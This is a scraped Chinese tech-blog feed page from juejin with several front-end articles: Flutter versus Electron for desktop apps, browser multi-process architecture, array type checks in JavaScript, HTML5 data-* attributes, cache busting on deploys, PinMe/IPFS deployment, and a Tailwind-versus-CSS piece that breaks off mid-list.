前言:这一年来我基本处于断更的状态,我知道在AI时代,编码的成本已经变得越来越低,技术分享的流量必然会下降。但这依然是一个艰难的过程,日常斥责自己没有成长,没有作品。 除了流量问题、巨量的工作,更多的原因是由于技术栈的变化。我开始使用Electron编写一个重...
继续阅读 »

前言:这一年来我基本处于断更的状态,我知道在AI时代,编码的成本已经变得越来越低,技术分享的流量必然会下降。但这依然是一个艰难的过程,日常斥责自己没有成长,没有作品。

除了流量问题、巨量的工作,更多的原因是由于技术栈的变化。我开始使用Electron编写一个重要的AI产品,并且在 Flutter 与 Electron 之间来回拉扯......



背景


我们对 Flutter 技术的应用,不仅是在移动端APP,在我们的终端设备也用来做 OS 应用,跨Android、Windows、Linux系统。

在 Flutter 上,我们是有所沉淀的,但是当我们决定研发一款重要的PC应用时,依然产生了疑问:Flutter 这门技术,真的能满足我们在核心桌面应用的研发需求吗?

最终,基于官方能力、技术生态、roadmap等一系列原因,我们放弃在核心应用上使用 Flutter,转而代之选择了 Electron


这篇文章将从这几个月使用 Electron 的切实体验,从不同角度,对 FlutterElectron 这两款支持跨端桌面应用开发技术,做一个详细的对比。


Flutter VS Electron


维度FlutterElectron
发布时间2021 年 3 月 宣布支持桌面端2013 年 4 月发布,发布即支持
核心场景移动APP跨端桌面应用跨端
官方网站flutter.devhttp://www.electronjs.org
开发文档docs.flutter.devhttp://www.electronjs.org/docs
插件包管理Pub(pub.dev),提供大量 UI 组件、工具类库npm(http://www.npmjs.com),依赖前端生态,插件丰富(如 electron-builder 打包工具)
研发组织GoogleGithub

方案成熟度


毫无疑问,在方案成熟度上 Electron 是碾压 Flutter 的存在。


1. 多进程能力



  • Flutter 目前还是单进程的能力,只能通过创建 isolate 来实现部分耗时任务,但是内存也是不共享的。

  • Electron 集成了 Nodejs 服务,自带多进程的能力,且提供了完整的跨进程机制IPC「Inter-Process Communication」)。


2. 多窗口支持



  • Flutter 目前不支持多窗口。由于其是自绘引擎,本身还是依赖原生进程提供的桌面窗口,所以需要原生与 Flutter 引擎不断的进行沟通对接,才能很好的使用多窗口能力。

    目前官方只是提供了 demo 来验证多窗口的可行性,但截止发文还没有办法在公版试用。

  • Electron 将 Chromium 的核心模块打包到发行包中,借助浏览器的能力,可以随意开辟新的窗口(如: BrowserWindow


3. 开发语言



  • Flutter 使用dart语言开发,采用声明式UI进行布局,插件管理使用官方的 pub 社区,学习和使用成本不算高。

  • Electron 使用JavaScript/TypeScript + HTML/CSS 的前端技术栈进行开发,社区也完全跟前端一致,非常丰富但鱼龙混杂


4. 原生能力的支持



  • Flutter 本质是一个 UI 框架,原生能力需要通过编写插件去调用,或者通过 FFI 调用,成本是很高的,你很难找到一个懂多端原生技术的开发。

  • Electron 有 node 环境,node.js 很多原生模块,可以直接调用到系统的能力,非常的高效。


开发体验和技术生态


1. 调试工具



  • Flutter 的调试工具,主要是依赖 IDE 本身的断点调试能力,以及自研的Flutter Inspector、devTools。

    在UI定位、性能监控方面,基本可以满足。但由于是个 UI 框架,对于原生容器是无法进行调试的,这在混合开发过程中是个比较大的痛点。

  • Electron 就是个浏览器,对于主进程和node子进程,有 Inspect 的机制; UI 层就更方便了,就是浏览器的调试器一模一样。生产环境下调试成本也低。


2. 打包编译


Flutter 是通过自绘引擎生成原生应用包,而 Electron 是将网页技术(HTML/CSS/JS)包裹在 Chromium 内核中。


底层技术架构的区别,直接决定了 Electron 的打包相对 Flutter 有些困难,且包体积很大。


对比维度FlutterElectron
打包原理编译成目标平台的原生二进制代码,搭配自绘引擎(Skia)封装 Chromium 内核 + Node.js 环境,运行网页资源
最终产物与原生应用格式一致(如 .apk/.ipa/.exe)包含浏览器内核的独立应用包
跨平台方式一份代码编译成多平台原生包,需分别打包一份代码打包成多平台包,内核随应用分发
应用体积较小(基础包约 10-20MB)较大(基础包约 50-100MB,内核占主要体积)

3. 官方和社区的活跃性



  • Flutter 官方在桌面端的推进很慢,很多基础能力都没有太多的推进。同时在 roadmap 中,重心都偏向移动端和 web 端。

  • Electron 由于产品的体量和成熟度,稳定的在更新,每个版本都会带来一些新的特性。
    image.png


4. 研发团队


技能维度FlutterElectron
核心语言Dart,需理解其异步逻辑、Widget 组件化思想JavaScript/TypeScript,前端开发者可无缝衔接
UI 技术Flutter 内置 Widget 体系,需学习其布局(Row/Column)、状态管理(Provider/Bloc)HTML/CSS,可复用前端生态(Vue/React/Element UI 等)
原生交互需了解 Android(Kotlin/Java)、iOS(Swift/OC)基础,复杂功能需写原生插件依赖 Node.js 模块或现成插件,无需深入原生开发
工程化工具依赖 Flutter CLI、Android Studio/Xcode(打包配置)依赖 npm/yarn、webpack/vite(前端构建工具)

可以看出,Flutter至少需要 1-2 名熟悉 Dart 的开发者,还需要有原生开发能力,技术门槛是比较高的;而 Electron 以前端开发者为主,熟悉 Node.js 即可完成所有开发,是可以快速上手的


同时前端开发也比 Flutter 开发要更容易招聘


结语


笔者本身是 Flutter 的忠实维护者,我认为 Flutter 的 Impeller 图形渲染引擎将不断完善,能在各个端达到更好的渲染速度和效果;同时 Flutter 目前的多窗口方案,让我们可以充分的相信可以多个窗口共用一份内存,而不需要通过进程间通信机制


但是,在 Flutter 暂未成熟的阶段,桌面核心产品还是用 Electron 进行开发会更加合适。我们 也期待未来 Electron 可以多集成WebAssembly来提升计算密集型任务的性能,减少 Chromium 内核的高内存占用。


作者:Karl_wei
来源:juejin.cn/post/7578719771589066762
收起阅读 »

偷看浏览器后台,发现它比我忙多了

web
为啥以前 IE 老“崩溃”,而现在开一堆标签页的 Chrome 还能比较稳?答案都藏在浏览器的「进程模型」里。 作为一个还在学习前端的同学,我经常听到几个关键词: 进程、线程、多进程浏览器、渲染进程、V8、事件循环…… 下面就是我目前的理解,算是一篇学习笔记...
继续阅读 »

为啥以前 IE 老“崩溃”,而现在开一堆标签页的 Chrome 还能比较稳?答案都藏在浏览器的「进程模型」里。



作为一个还在学习前端的同学,我经常听到几个关键词:

进程、线程、多进程浏览器、渲染进程、V8、事件循环……


下面就是我目前的理解,算是一篇学习笔记式的分享


一、先把概念捋清:进程 vs 线程



  • 进程(Process)



    • 操作系统分配资源的最小单位。

    • 拥有独立的内存空间、句柄、文件等资源。

    • 不同进程间默认互相隔离,通信要通过 IPC。



  • 线程(Thread)



    • CPU 调度、执行代码的最小单位。

    • 共享所属进程的资源(内存、文件句柄等)。

    • 一个进程里可以有多个线程并发执行。




简单理解:



  • 进程 = 一个“应用实例” (开一个浏览器窗口就是一个进程)。

  • 线程 = 应用里的很多“小工人” (一个负责渲染页面,一个负责网络请求……)。


二、单进程浏览器:旧时代的 IE 模型


早期的浏览器(如旧版 IE)基本都是单进程架构:整个浏览器只有一个进程,里面开多个线程来干活。


可以想象成这样一张图(对应你给的“单进程浏览器”那张图):



  • 顶部是「代码 / 数据 / 文件」等资源。

  • 下面有多个线程:



    • 页面线程:负责页面渲染、布局、绘制。

    • 网络线程:负责网络请求。

    • 其他线程:例如插件、定时任务等。



  • 所有线程共享同一份进程资源。


在这个模型下:



  • 页面渲染、JavaScript 执行、插件运行,都挤在同一个进程里。

  • 某个插件或脚本一旦崩溃、死循环、内存泄漏,整个浏览器都会被拖垮

  • 多开几个标签页,本质上依旧是同一个进程里的不同页面线程, “一荣俱荣,一损俱损”


这也是很多人对 IE 的经典印象:



“多开几个页面就卡死,崩一次,所有标签页一起消失”。



三、多进程浏览器:Chrome 的现代架构


Chrome 采用的是多进程、多线程混合架构。打开浏览器时,大致会涉及这些进程:



  • 浏览器主进程(Browser Process)



    • 负责浏览器 UI、地址栏、书签、前进后退等。

    • 管理和调度其他子进程(类似一个大管家)。

    • 负责部分存储、权限管理等。



  • 渲染进程(Render Process)



    • 核心任务:把 HTML / CSS / JavaScript 变成用户可以交互的页面。

    • 布局引擎(如 Blink)和 JS 引擎(如 V8)都在这里。

    • 默认情况下,每个标签页会对应一个独立的渲染进程



  • GPU 进程(GPU Process)



    • 负责 2D / 3D 绘制和加速(动画、3D 变换等)。

    • 统一为浏览器和各渲染进程提供 GPU 服务。



  • 网络进程(Network Process)



    • 负责资源下载、网络请求、缓存等。



  • 插件进程(Plugin Process)



    • 负责运行如 Flash、扩展等插件代码,通常放在更严格的沙箱里。




你给的第一张图,其实就是这么一个多进程架构示意图:中间是主进程,两侧是渲染、网络、GPU、插件等子进程,有的被沙箱保护。


download.png


四、单进程 vs 多进程:核心差异一览(表格对比)


下面这张表,把旧式单进程浏览器和现代多进程浏览器的差异总结出来,适合在文章中重点展示:


对比维度单进程浏览器(典型:旧版 IE)多进程浏览器(典型:Chrome)
进程模型整个浏览器基本只有一个进程,多标签页只是不同线程浏览器主进程 + 多个子进程(渲染、网络、GPU、插件…),标签页通常独立渲染进程
稳定性任意线程(脚本、插件)崩溃,可能拖垮整个进程,浏览器整体崩溃某个标签页崩溃只影响对应渲染进程,其他页面基本不受影响
安全性代码都在同一进程运行,权限边界模糊,攻击面大利用多进程 + 沙箱:渲染进程、插件进程被限制访问系统资源,需要通过主进程/IPC
性能体验多标签共享资源,某个页面卡顿,容易拖慢整体;UI 和页面渲染耦合严重不同进程之间可以更好地利用多核 CPU,重页面操作不会轻易阻塞整个浏览器 UI
内存占用单进程内存相对集中,但一旦泄漏难以回收;崩溃时损失全部状态多进程会有一定内存冗余,但某个进程关闭/崩溃后,其内存可被系统直接回收
插件影响插件崩溃 = 浏览器崩溃,体验极差插件独立进程 + 沙箱,崩溃影响有限,可以单独重启
维护与扩展所有模块耦合在一起,改动风险大进程边界天然分层,更利于模块化演进和大规模工程化

download.png


五、别被“多进程”骗了:JS 依然是单线程


聊到这里,很多同学容易混淆一个点:



浏览器是多进程的,那 JavaScript 是不是也多线程并行执行了?



答案是否定的:主线程上的 JavaScript 依然是单线程模型。区别在于:



  • 渲染进程内部,有一个主线程负责:



    • 执行 JavaScript。

    • 页面布局、绘制。

    • 处理用户交互(点击、输入等)。



  • JS 代码仍然遵循:同步任务立即执行,异步任务丢进任务队列,由事件循环(Event Loop)调度


为什么要坚持单线程?



  • DOM 是单线程模型,多个线程同时改 DOM,锁会非常复杂。

  • 前端开发心智成本可控;不必像多线程语言那样到处考虑锁和竞态条件。


多进程架构只是把:



  • “这个页面的主线程 + 渲染 + JS 引擎”

    放在一个单独的进程里(渲染进程)。


这也是为什么:



  • 一个页面 JS 写了死循环,会卡死那一个标签页。

  • 但其他标签页通常还能正常使用,因为它们在完全不同的渲染进程内。


六、从架构看体验:为什么我们更喜欢现在的浏览器?


站在前端开发者角度,多进程架构带来的直接收益有:



  • 更好的容错性

  • 更高的安全等级

  • 更顺滑的交互体验

  • 更容易工程化演进


当然,代价也很现实:多进程 = 更高的内存占用。这也是为什么:



  • 多开几十个标签,任务管理器里能看到很多浏览器相关进程。

  • 但换来的是更好的稳定性、安全性和扩展性——在现代硬件下,这是可以接受的 trade-off。


七、总结



  • 早期浏览器采用单进程 + 多线程模式,所有页面、脚本、插件都在同一个进程里,一旦出问题就“全军覆没”。

  • 现代浏览器(代表是 Chrome)使用多进程架构:主进程负责调度,各个渲染、网络、GPU、插件进程各司其职,并通过沙箱强化隔离。

  • 尽管浏览器整体是多进程的,但单个页面里的 JavaScript 依然是单线程 + 事件循环模型,这点没有变。

  • 从用户体验、前端开发、安全性、稳定性来看,多进程架构几乎是全面碾压旧时代单进程浏览器的一次升级。


作者:T___T
来源:juejin.cn/post/7580263284338311209
收起阅读 »

数组判断?我早不用instanceof了,现在一行代码搞定!

web
传统方案 1. Object.prototype.toString.call 方法 原理:通过调用 Object.prototype.toString.call(obj) ,判断返回值是否为  [object Array] 。 function isArray...
继续阅读 »

传统方案


1. Object.prototype.toString.call 方法


原理:通过调用 Object.prototype.toString.call(obj) ,判断返回值是否为  [object Array] 。


function isArray(obj){
return Object.prototype.toString.call(obj) === '[object Array]';
}

 
缺陷



  • ES6 引入 Symbol.toStringTag 后,可被人为篡改。例如:


    const obj = {
    [Symbol.toStringTag]: 'Array'
    };
    console.log(Object.prototype.toString.call(obj)); // 输出 [object Array]


  • 若开发通用型代码(如框架、库),该漏洞会导致判断失效。


2. instanceof 方法


原理:判断对象原型链上是否存在 Array 构造函数。


function isArray(obj){
return obj instanceof Array;
}

缺陷



  • 可通过 Object.setPrototypeOf 篡改原型链,导致误判。例如:


    const obj = {};
    Object.setPrototypeOf(obj, Array.prototype);
    console.log(obj instanceof Array); // 输出 true,但 obj 并非真正数组


  • 跨 iframe 场景失效。不同 iframe 中的 Array 构造函数不共享,导致真数组被误判为非数组。例如:


    const frame = document.querySelector('iframe');
    const Array2 = frame.contentWindow.Array;
    const arr = new Array2();
    console.log(arr instanceof Array); // 输出 false,但 arr 是真正数组



ES6 原生方法


方法:使用 Array.isArray 静态方法。


console.log(Array.isArray(arr));

 
优势



  • 该方法由JavaScript引擎内部实现,直接判断对象是否由 Array 构造函数创建,不受原型链、 Symbol.toStringTag  或跨 iframe 影响;

  • 完美解决所有边界场景。


总结


判断数组的方法中 Array.isArray 是唯一准确且无缺陷的方案。其他方法(如Object.prototype.toString.callinstanceof)均存在局限性,仅在特定场景下可用。


作者:南游
来源:juejin.cn/post/7579849892614094884
收起阅读 »

HTML5 自定义属性 data-*:别再把数据塞进 class 里了!

web
前言:由于“无处安放”而引发的混乱 在 HTML5 普及之前,前端开发者为了在 DOM 元素上绑定一些数据(比如用户 ID、商品价格、状态码),可谓是八仙过海,各显神通: 隐藏域流派:到处塞 <input type="hidden" value="12...
继续阅读 »

前言:由于“无处安放”而引发的混乱


在 HTML5 普及之前,前端开发者为了在 DOM 元素上绑定一些数据(比如用户 ID、商品价格、状态码),可谓是八仙过海,各显神通:



  1. 隐藏域流派:到处塞 <input type="hidden" value="123">,导致 HTML 结构像个堆满杂物的仓库。

  2. Class 拼接流派<div class="btn item-id-8848">,然后用正则去解析 class 字符串提取 ID。这简直是在用 CSS 类名当数据库用,类名听了都想离家出走。

  3. 自定义非标属性流派:直接写 <div my_id="123">。虽然浏览器大多能容忍,但这就好比在公共泳池里裸泳——虽然没人抓你,但不合规矩且看着尴尬。


直到 HTML5 引入了 data-*  自定义数据属性,这一切终于有了“官方标准”。




第一阶段:基础——它长什么样?


data-* 属性允许我们在标准 HTML 元素中存储额外的页面私有信息。


1. HTML 写法


语法非常简单:必须以 data- 开头,后面接上你自定义的名称。


codeHtml


<!-- ❌ 错误示范:不要大写,不要乱用特殊符号 -->
<div data-User-Id="1001"></div>

<!-- ✅ 正确示范:全小写,连字符连接 -->
<div
id="user-card"
data-id="1001"
data-user-name="juejin_expert"
data-value="99.9"
data-is-vip="true"
>

用户信息卡片
</div>

2. CSS 中的妙用


很多人以为 data-* 只是给 JS 用的,其实 CSS 也能完美利用它。


场景一:通过属性选择器控制样式


/* 当 data-is-vip 为 "true" 时,背景变金 */
div[data-is-vip="true"] {
background: gold;
border: 2px solid orange;
}

场景二:利用 attr() 显示数据

这是一个非常酷的技巧,可以用来做 Tooltip 或者计数器显示。


div::after {
/* 直接把 data-value 的值显示在页面上 */
content: "当前分值: " attr(data-value);
font-size: 12px;
color: #666;
}



第二阶段:进阶——JavaScript 如何读写?


这才是重头戏。在 JS 中操作 data-* 有两种方式:传统派 和 现代派


1. 传统派:getAttribute / setAttribute


这是最稳妥的方法,兼容性最好(虽然现在也没人要兼容 IE6 了)。


const el = document.getElementById('user-card');

// 读取
const userId = el.getAttribute('data-id'); // "1001"

// 修改
el.setAttribute('data-value', '100');

特点:读出来永远是字符串。哪怕你存的是 100,取出来也是 "100"。


2. 现代派:dataset API (推荐 ✨)


HTML5 为每个元素提供了一个 dataset 对象(DOMStringMap),它将所有的 data-* 属性映射成了对象的属性。


这里有个大坑(或者说是规范),请务必注意:

HTML 中的 连字符命名 (kebab-case)  会自动转换为 JS 中的 小驼峰命名 (camelCase)


const el = document.getElementById('user-card');

// 1. 访问 data-id
console.log(el.dataset.id); // "1001"

// 2. 访问 data-user-name (注意变身了!)
console.log(el.dataset.userName); // "juejin_expert"
// ❌ el.dataset.user-name 是语法错误
// ❌ el.dataset['user-name'] 是 undefined

// 3. 修改数据
el.dataset.value = "200";
// HTML 会自动变成 data-value="200"

// 4. 删除数据
delete el.dataset.isVip;
// HTML 中的 data-is-vip 属性会被移除


💡 敲黑板:dataset 里的属性名不支持大写字母。如果你在 HTML 里写 data-MyValue="1", 浏览器会强制转为小写 data-myvalue,JS 里就得用 dataset.myvalue 访问。所以,HTML 里老老实实全小写吧。





第三阶段:深入——类型陷阱与性能权衡


1. 一切皆字符串


不管你赋给 dataset 什么类型的值,最终都会被转为字符串。


el.dataset.count = 100;        // HTML: data-count="100"
el.dataset.active = true; // HTML: data-active="true"
el.dataset.config = {a: 1}; // HTML: data-config="[object Object]" -> 灾难!

避坑指南



  • 如果你要存数字,取出来时记得 Number(el.dataset.count)。

  • 如果你要存布尔值,判断时不能简单用 if (el.dataset.active),因为 "false" 字符串也是真值!要用 el.dataset.active === 'true'。

  • 千万不要试图在 data-* 里存复杂的 JSON 对象。如果非要存,请使用 JSON.stringify(),但在 DOM 上挂载大量字符串数据会影响性能。


2. 性能考量



  • 读写速度:dataset 的访问速度在现代浏览器中非常快,但在极高频操作下(比如每秒几千次),直接操作 JS 变量肯定比操作 DOM 快。

  • 重排与重绘:修改 data-* 属性会触发 DOM 变更。如果你的 CSS 依赖属性选择器(如 div[data-status="active"]),修改属性可能会触发页面的重排(Reflow)或重绘(Repaint)。




第四阶段:实战——优雅的事件委托


data-value 最经典的用法之一就是在列表项的事件委托中。


需求:点击列表中的“删除”按钮,删除对应项。


<ul id="todo-list">
<li>
<span>学习 HTML5</span>
<!-- 把 ID 藏在这里 -->
<button class="btn-delete" data-id="101" data-action="delete">删除</button>
</li>
<li>
<span>写掘金文章</span>
<button class="btn-delete" data-id="102" data-action="delete">删除</button>
</li>
</ul>

const list = document.getElementById('todo-list');

list.addEventListener('click', (e) => {
// 利用 dataset 判断点击的是不是删除按钮
const { action, id } = e.target.dataset;

if (action === 'delete') {
console.log(`准备删除 ID 为 ${id} 的条目`);
// 这里发送请求或操作 DOM
// deleteItem(id);
}
});

为什么这么做优雅?

你不需要给每个按钮都绑定事件,也不需要去分析 DOM 结构(比如 e.target.parentNode...)来找数据。数据就在元素身上,唾手可得。




总结与“禁忌”


HTML5 的 data-* 属性是连接 DOM 和数据的一座轻量级桥梁。


什么时候用?



  • 当需要把少量数据绑定到特定 UI 元素上时。

  • 当 CSS 需要根据数据状态改变样式时。

  • 做事件委托需要传递参数时。


什么时候别用?(禁忌)



  1. 不要存储敏感数据:用户可以直接在浏览器控制台修改 DOM,千万别把 data-password 或 data-user-token 放在这。

  2. 不要当数据库用:别把几 KB 的 JSON 数据塞进去,那是 JS 变量或者是 IndexDB 该干的事。

  3. SEO 无用:搜索引擎爬虫通常不关心 data-* 里的内容,重要的文本内容还是要写在标签里。




最后一句

代码整洁之道,始于不再乱用 Class。下次再想存个 ID,记得想起那个以 data- 开头的帅气属性。


Happy Coding! 🚀


作者:南山安
来源:juejin.cn/post/7575119254314401818
收起阅读 »

前端发版总被用户说“没更新”?一文搞懂浏览器缓存,彻底解决!

web
有时候我们发了新版,结果用户看到的还是老界面。 你:“我更新了啊!” 用户:“我这儿没变啊!” 然后你俩开始互相怀疑人生。 那咋办?总不能让用户都清缓存吧? 当然不能。 我们得让浏览器自己知道“该换新的了”。 核心思路就一条:让静态资源的文件名变一变。 浏览器...
继续阅读 »

有时候我们发了新版,结果用户看到的还是老界面。
你:“我更新了啊!”
用户:“我这儿没变啊!”
然后你俩开始互相怀疑人生。
那咋办?总不能让用户都清缓存吧?
当然不能。
我们得让浏览器自己知道“该换新的了”。
核心思路就一条:让静态资源的文件名变一变。
浏览器靠文件名判断是不是同一个文件。
文件名变了,它就会重新下载。


方法1:加时间戳(简单粗暴)


以前:


<script src="/js/app.js"></script>

现在:


<script src="/js/app.js?v=20250901"></script>

或者用时间戳:


<script src="/js/app.js?t=1725153600"></script>

发版的时候,改一下vt的值,浏览器看到后发现文件名不一样,就会重新下载。


优点:简单,立马见效

缺点:每次发版都得手动改,容易忘记。


方法2:用构建工具加hash(推荐!)


这是现在最主流的做法。
你用WebpackViteRollup这些工具打包时,它会自动给文件名加一串hash


<script src="/js/app.a1b2c3d.js"></script>

你代码一改,hash就变。

比如下次变成:


<script src="/js/app.e4f5g6h.js"></script>

浏览器看到后发现文件名不一样,会自动拉新文件。


使用时需要检查你的打包配置,确保输出文件带hash。


Vite配置(vite.config.js):


export default defineConfig({
build: {
rollupOptions: {
output: {
entryFileNames: 'assets/[name].[hash].js',
chunkFileNames: 'assets/[name].[hash].js',
assetFileNames: 'assets/[name].[hash].[ext]'
}
}
}
})

Vue CLI(vue.config.js):


module.exports = {
filenameHashing: true, // 默认就是 true,别关掉!
}

只要这个开着,JS/CSS 文件名就会变,浏览器就会更新。


优点:全自动,不用操心

优点:用户无感知,体验好

优点:还能利用缓存(没改的文件hash不变,继续用旧的)


来看看Vue的项目


只要你用的是Vue CLI、Vite或 Webpack打包,发版时默认就解决了缓存问题。
因为它们会自动给文件名加hash
比如你打包后:


dist/
├── assets/app.8a2b1f3.js
├── assets/chunk-vendors.a1b2c3d.js
└── index.html

你改了代码,再打包,hash就变了:


assets/app.x9y8z7w.js  # 新文件

虽说是这样,但为啥还有人卡在旧版本?


文件名带hash,但index.html这个入口文件本身可能被缓存了


流程:



  • index.html里引用了app.8a2b1f3.js

  • 用户第一次访问,加载了index.html和对应的JS

  • 你发新版,index.html指向app.x9y8z7w.js

  • 但用户浏览器缓存了旧的index.html,还在引用app.8a2b1f3.js

  • 结果:页面还是旧的


这是入口文件缓存导致的发版无效。


解决方案


方法1:让index.html不被缓存


这是最简单有效的办法。
配置Nginx,让index.html不缓存:


location = /index.html {
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
}

这样每次用户访问,都会重新下载最新的 index.html,自然就拿到新的 JS 文件名。



注意:其他静态资源(js/css)可以长期缓存,只有 index.html 要禁缓存。



方法2:根据版本号来控制


每一次更新都新建一个文件夹



然后修改Nginx配置


location / {
root /home/server/html/yudao-vue3/version_1_2_5;
index index.html index.htm;
try_files $uri $uri/ /index.html;
}

最后
缓存这事看着小,真出问题能让我们忙半天。
提前设好机制,发版才能睡得香。
搞定!



我是大华,专注分享前后端开发的实战笔记。关注我,少走弯路,一起进步!



📌往期精彩


《Elasticsearch 太重?来看看这个轻量级的替代品 Manticore Search》


《只会写 Mapper 就敢说会 MyBatis?面试官:原理都没懂》


《别学23种了!Java项目中最常用的6个设计模式,附案例》


《写给小公司前端的 UI 规范:别让页面丑得自己都看不下去》


《Vue3+TS设计模式:5个真实场景让你代码更优雅》


作者:刘大华
来源:juejin.cn/post/7545252678936100918
收起阅读 »

前端部署,又有新花样?

web
大多数前端开发者在公司里,很少需要直接操心“部署”这件事——那通常是运维或 DevOps 的工作。 但一旦回到个人项目,情况就完全不一样了。写个小博客、搭个文档站,或者搞个 demo 想给朋友看,部署往往成了最大的拦路虎。 常见的选择无非是 Vercel、Ne...
继续阅读 »

大多数前端开发者在公司里,很少需要直接操心“部署”这件事——那通常是运维或 DevOps 的工作。


但一旦回到个人项目,情况就完全不一样了。写个小博客、搭个文档站,或者搞个 demo 想给朋友看,部署往往成了最大的拦路虎。


常见的选择无非是 Vercel、Netlify 或 GitHub Pages。它们表面上“一键部署”,但细节其实并不轻松:要注册平台账号、要配置域名,还得接受平台的各种限制。国内的一些云服务商(比如阿里云、腾讯云)管控更严格,操作门槛也更高。更让人担心的是,一旦平台宕机,或者因为地区网络问题导致访问不稳定,你的项目可能随时“消失”在用户面前。虽然这种情况不常见,但始终让人心里不踏实。


很多时候,我们只是想快速上线一个小页面,不想被部署流程拖累,有没有更好的方法?


一个更轻的办法


前段时间我发现了一个开源工具 PinMe,主打的就是“极简部署”。



它的使用体验非常直接:



  • 不需要服务器

  • 不用注册账号

  • 在项目目录敲一条命令,就能把项目打包上传到 IPFS 网络

  • 很快,你就能拿到一个可访问的地址


实际用起来的感受就是一个字:


整个过程几乎没有繁琐配置,不需要绑定平台账号,也不用担心流量限制或收费。


这让很多场景变得顺手:



  • 临时展示一个 demo,不必折腾服务器

  • 写了个静态博客,不想搞 CI/CD 流程

  • 做了个活动页或 landing page,随时上线就好


以前这些需求可能要纠结“用 GitHub Pages 还是 Vercel”,现在有了 PinMe,直接一键上链就行。


体验一把


接下来看看它在真实场景下的表现:部署流程有多简化?访问速度如何?和传统方案相比有没有优势?


测试项目


为了覆盖不同体量的场景,这次我选了俩类项目来测试:



  • 小型项目:fuwari(开源的个人博客项目),打包体积约 4 MB。

  • 中大型项目:Soybean Admin(开源的后台管理系统),打包体积约 15 MB。


部署项目


PinMe 提供了两种方式:命令行可视化界面



这两种方式我们都来试一下。


命令行部署


先全局安装:


npm install -g pinme

然后一条命令上传:


pinme upload <folder/file-path>

比如上传 Soybean Admin,文件大小 15MB:



输入命令之后,等着就可以了:



只用了两分钟,终端返回的 URL 就能直接访问项目的控制页面。还能绑定自己的域名:



点击网站链接就可以看到已经部署好的项目,访问速度还是挺快的:



同样地,上传个人博客也是一样的流程。



部署完成:



可视化部署


不习惯命令行?PinMe 也提供了网页上传,进度条实时显示:



部署完成后会自动进入管理页面:



经过测试,部署速度和命令行几乎一致。


其他功能


历时记录


部署过的网站都能在主页的 History 查看:



历史部署记录:



也可以用命令行:


pinme list

历史部署记录:



删除网站


如果不再需要某个项目,执行以下命令即可:


pinme rm

PinMe 背后的“硬核支撑”


如果只看表层,PinMe 就像一个极简的托管工具。但要理解它为什么能做到“不依赖平台”,还得看看它背后的底层逻辑。


PinMe 的底层依赖 IPFS,这是一个去中心化的分布式文件系统。


要理解它的意义,得先聊聊“去中心化”这个概念。


传统互联网是中心化的:你访问一个网站时,浏览器会通过 DNS 找到某台服务器,然后从这台服务器获取内容。这条链路依赖强烈,一旦 DNS 被劫持、服务器宕机、服务商下线,网站就无法访问。



去中心化的思路完全不同:



  • 数据不是放在单一服务器,而是分布在全球节点中

  • 访问不依赖“位置”,而是通过内容哈希来检索

  • 只要有节点存储这份内容,就能访问到,不怕单点故障


这意味着:



  • 更稳定:即使部分节点宕机,内容依然能从其他节点获取。

  • 防篡改:文件哪怕改动一个字节,对应的 CID 也会完全不同,从机制上保障了前端资源的完整性和安全性。

  • 更自由:不再受制于中心化平台,文件真正由用户自己掌控。


当然,IPFS 地址(哈希)太长,不适合直接记忆和分享。这时候就需要 ENS(Ethereum Name Service)。它和 DNS 类似,但记录存储在以太坊区块链上,不可能被篡改。比如你可以把 myblog.eth 指向某个 IPFS 哈希,别人只要输入 ENS 域名就能访问,不依赖传统 DNS,自然也不会被劫持。



换句话说:



ENS + IPFS = 内容去中心化 + 域名去中心化




前端个人项目瞬间就有了更高的自由度和安全性。


一点初步感受


PinMe 并不是要取代 Vercel 这类成熟平台,但它带来了一种新的选择:更简单、更自由、更去中心化


如果你只是想快速上线一个小项目,或者对去中心化部署感兴趣,PinMe 值得一试。





这是一个完全开源的项目,开发团队也会持续更新。如果你在测试过程中有想法或需求,不妨去 GitHub 提个 Issue —— 这不仅能帮助项目成长,也能让它更贴近前端开发的实际使用场景!


作者:CUGGZ
来源:juejin.cn/post/7547515500453380136
收起阅读 »

快到  2026  年了:为什么我们还在争论  CSS 和 Tailwind?

web
最近在使用 NestJs 和 NextJs 在做一个协同文档 DocFlow,如果感兴趣,欢迎 star,有任何疑问,欢迎加我微信进行咨询 yunmz777 老实说,我对 Tailwind CSS 的看法有些复杂。它像是一个总是表现完美的朋友,让我觉得自己有些...
继续阅读 »

最近在使用 NestJs 和 NextJs 在做一个协同文档 DocFlow,如果感兴趣,欢迎 star,有任何疑问,欢迎加我微信进行咨询 yunmz777


老实说,我对 Tailwind CSS 的看法有些复杂。它像是一个总是表现完美的朋友,让我觉得自己有些不够好。
我一直是纯 CSS 的拥护者,直到最近,我才意识到,Tailwind 也有其独特的优点。
然而,虽然我不喜欢 Tailwind 的一些方面,但它无疑为开发带来了更多的选择,让我反思自己做决定的方式。


问题


大家争论的,不是 "哪个更好",而是“哪个让你觉得更少痛苦”。
对我来说,Tailwind 有时带来的是压力。比如:


<button
class="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-lg shadow-md hover:shadow-lg transition duration-300 ease-in-out transform hover:-translate-y-1"
>

Click me
</button>

它让我想:“这已经不再是简单的 HTML,而是样式类的拼凑。”
而纯 CSS 则让我感到平静、整洁:


.button {
background-color: #3b82f6;
color: white;
font-weight: bold;
padding: 0.5rem 1rem;
border-radius: 0.5rem;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
transition: all 0.3s ease-in-out;
}
.button:hover {
background-color: #2563eb;
box-shadow: 0 10px 15px rgba(0, 0, 0, 0.1);
transform: translateY(-4px);
}

纯 CSS 让我觉得自己在“写代码”,而不是“编排类名”。


背景说明


为什么要写这篇文章呢?因为到了 2026 年,CSS 和 Tailwind 的争论已经不再那么重要。



  • Tailwind 发布了  v4,速度和性能都大大提升。

  • 纯 CSS 也在复兴,容器查询(container queries)、CSS 嵌套(nesting)和 Cascade Layers 这些新特性令人振奋。

  • 还有像 Panda CSS、UnoCSS 等新兴工具在不断尝试解决同样的问题。
    这让选择变得更加复杂,也让开发变得更加“累”。


Tailwind 的优缺点


优点:



  1. 减少命名烦恼:你不再需要为类命名。只需使用 Tailwind 提供的类名,省去了命名的麻烦。

  2. 设计一致性:使用 Tailwind,你的设计系统自然一致,避免了颜色和间距不统一的麻烦。

  3. 编辑器自动补全:Tailwind 的 IntelliSense 使得开发更加高效,输入类名时有智能提示。

  4. 响应式设计更简单:通过简单的类名就能实现响应式设计,比传统的媒体查询更简洁。


缺点:



